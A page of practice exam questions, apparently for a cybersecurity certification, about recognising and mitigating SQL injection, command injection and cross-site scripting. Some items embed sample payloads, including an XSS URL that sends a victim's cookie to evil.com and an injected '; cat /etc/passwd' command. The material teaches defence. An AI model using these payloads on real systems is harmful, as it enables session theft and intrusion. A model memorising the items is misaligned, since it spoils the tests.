2.6 Describe Web Application Attacks, Such as SQL Injection, Command Injections, and Cross-Site Scripting 200-201 Practice Questions (Page 4)

Questions 16–20

1. 16foundation · easy

   Which of the following best describes how SQL injection attacks manipulate database queries?

   • ABy exploiting a buffer overflow in the database server's query parser.
   • BBy overwhelming the database server with excessive requests to cause a denial of service.
   • CBy sending specially crafted packets to the database server's network port.
   • DBy injecting malicious SQL code into user input fields that are concatenated into query strings.
   Reveal Solution Discussion Select an answer first
2. 17expert · hard

   A security analyst is reviewing a web application that has a login form and a file upload feature. The login form is vulnerable to SQL injection, and the file upload feature is vulnerable to command injection. The analyst must recommend a single mitigation that addresses both vulnerabilities without breaking functionality. Which of the following is the most effective recommendation?

   • ADeploy a web application firewall (WAF) with rules to block common SQL injection and command injection payloads.
   • BDisable the file upload feature and require users to use a separate, secure application for file conversion.
   • CUse output encoding on all user-supplied data before displaying it.
   • DImplement parameterized queries for the login form and validate file names against a strict allowlist before passing them to any system command.
   Reveal Solution Discussion Select an answer first
4. 18application · medium

   A security analyst is reviewing a web application that allows users to submit comments. The comments are stored in a database and displayed on a public page. The analyst notices that a comment containing `<script>alert('x')</script>` is executed when other users view the page. Which remediation is most appropriate?

   • ARemove the comment feature from the application.
   • BDisable JavaScript in the users' browsers.
   • CUse parameterized queries when inserting comments into the database.
   • DEncode all user-supplied content before displaying it on the page.
   Reveal Solution Discussion Select an answer first
5. 19application · medium

   A security analyst is investigating a series of attacks on a web application. The analyst finds that an attacker used a URL like `https://example.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>` and tricked a victim into clicking it. The victim's session cookie was sent to the attacker. Which attack occurred?

   • AReflected XSS
   • BCommand injection
   • CSQL injection
   • DStored XSS
   Reveal Solution Discussion Select an answer first
6. 20application · medium

   A Linux-based web application has a 'ping' diagnostic tool that accepts an IP address and displays the output. A security analyst discovers that submitting `127.0.0.1; cat /etc/passwd` returns the contents of the password file. The application must continue to allow legitimate ping requests. Which control is most effective to prevent this attack?

   • AEncode the IP address as HTML entities before displaying the output.
   • BUse a parameterized query to pass the IP address to the ping command.
   • CValidate that the input matches a strict IP address format before passing it to the system command.
   • DRestrict the web server user's access to the /etc/passwd file.
   Reveal Solution Discussion Select an answer first